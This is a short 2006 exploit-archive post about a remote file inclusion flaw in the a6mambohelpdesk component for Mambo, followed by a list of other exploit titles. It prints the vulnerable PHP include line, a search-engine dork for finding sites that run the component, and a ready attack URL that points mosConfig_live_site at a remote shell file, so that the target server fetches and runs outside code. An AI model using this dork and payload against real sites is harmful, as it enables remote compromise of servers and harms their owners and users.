exploits , vulnerabilities , articles , a6mambohelpdesk Mambo Component <= 18RC1 Include Vulnerability

2006-07-27

a6mambohelpdesk Mambo Component <= 18RC1 Include Vulnerability

Rated as : High Risk

a6mambohelpdesk Mambo Component <= 18RC1 Remote Include Vulnerability

# Rish : High
# Class : Remote
# Script : a6mambohelpdesk
# Thanx : www.lezr.com/vb

# codes

<?
include("$mosConfig_live_site/components/com_a6mambohelpdesk/about.html"
);
?>

# d0rkiz : allinurl:"com_a6mambohelpdesk"

http://www.site.com/administrator/components/com_a6mambohelpdesk/admin.a6mambohelpdesk.php?mosConfig_live_site=http://shell.txt


# by Dr.Jr7
securitydot.net - 2006-07-27

Exploits - newest 10 RSS | More

2007-06-15 56600 Hits XOOPS Module Cjay Content 3 Remote File Inclusion Vulnerability
2007-06-15 33708 Hits XOOPS Module XT-Conteudo (spaw_root) RFI Vulnerability
2007-06-15 41868 Hits XOOPS Module XFsection (modify.php) Remote File Inclusion Vulnerability
2007-06-15 28946 Hits Microsoft Office MSODataSourceControl COM-object BoF PoC (0day)
2007-06-13 19467 Hits Microsoft Speech API ActiveX control Remote BoF Exploit (xp sp2)
2007-06-13 16465 Hits Microsoft Speech API ActiveX control Remote BoF Exploit (win2k sp4)
2007-06-13 19120 Hits Safari 3 for Windows Beta Remote Command Execution PoC
2007-06-13 16328 Hits Ace-FTP Client 1.24a Remote Buffer Overflow PoC
2007-06-09 33237 Hits MoviePlay 4.76 .lst File Local Buffer Overflow Exploit
2007-06-09 16988 Hits e-Vision CMS <= 2.02 SQL Injection/Remote Code Execution Exploit